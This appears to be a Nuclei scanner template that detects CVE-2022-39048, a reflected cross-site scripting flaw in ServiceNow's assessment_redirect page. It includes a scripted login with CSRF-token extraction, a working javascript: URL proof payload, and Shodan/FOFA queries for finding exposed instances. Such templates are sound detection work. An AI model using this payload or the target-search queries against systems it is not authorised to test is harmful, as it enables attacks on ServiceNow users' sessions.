ServiceNow - Cross-site Scripting

id: CVE-2022-39048

info:
  name: ServiceNow - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    A XSS vulnerability was identified in the ServiceNow UI page assessment_redirect. To exploit this vulnerability, an attacker would need to persuade an authenticated user to click a maliciously crafted URL. Successful exploitation potentially could be used to conduct various client-side attacks, including, but not limited to, phishing, redirection, theft of CSRF tokens, and use of an authenticated user's browser or session to attack other systems.
  impact: |
    Authenticated attackers can craft malicious URLs with JavaScript in the sysparm_survey_url parameter that executes when victims click the link, potentially stealing CSRF tokens, session cookies, or conducting phishing attacks to compromise ServiceNow authenticated users.
  remediation: |
    Update ServiceNow to the latest patched version that properly sanitizes the sysparm_survey_url parameter in assessment_redirect.do.
  reference:
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1221892
    - https://blog.amanrawat.in/2023/05/05/CVE-2022-39048.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39048
    - https://support.servicenow.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-39048
    cwe-id: CWE-79
    epss-score: 0.01089
    epss-percentile: 0.6132
    cpe: cpe:2.3:a:servicenow:servicenow:quebec:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.title:"ServiceNow"
      - http.title:"servicenow"
      - http.favicon.hash:1701804003
    fofa-query:
      - title="servicenow"
      - icon_hash=1701804003
    google-query: intitle:"servicenow"
  tags: cve,cve2022,xss,servicenow,authenticated,vuln

http:
  - raw:
      - |
        GET /navpage.do HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /login.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        sysparm_ck={{csrf}}&user_name={{username}}&user_password={{password}}&not_important=&ni.nolog.user_password=true&ni.noecho.user_name=true&ni.noecho.user_password=true&screensize=1920x1080&sys_action=sysverb_login&sysparm_login_url=welcome.do
      - |
        GET /assessment_redirect.do?sysparm_survey_url=javascript:alert(document.domain)//assessment_take2.do HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - 'unwrapped_url = "javascript:alert(document.domain)//assessment_take2.do"'
          - 'assessment_list.do'
        condition: and

      - type: word
        part: header_3
        words:
          - 'text/html'

      - type: status
        part: header_3
        status:
          - 200

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="sysparm_ck" id="sysparm_ck" type="hidden" value="(.*?)"'
        internal: true
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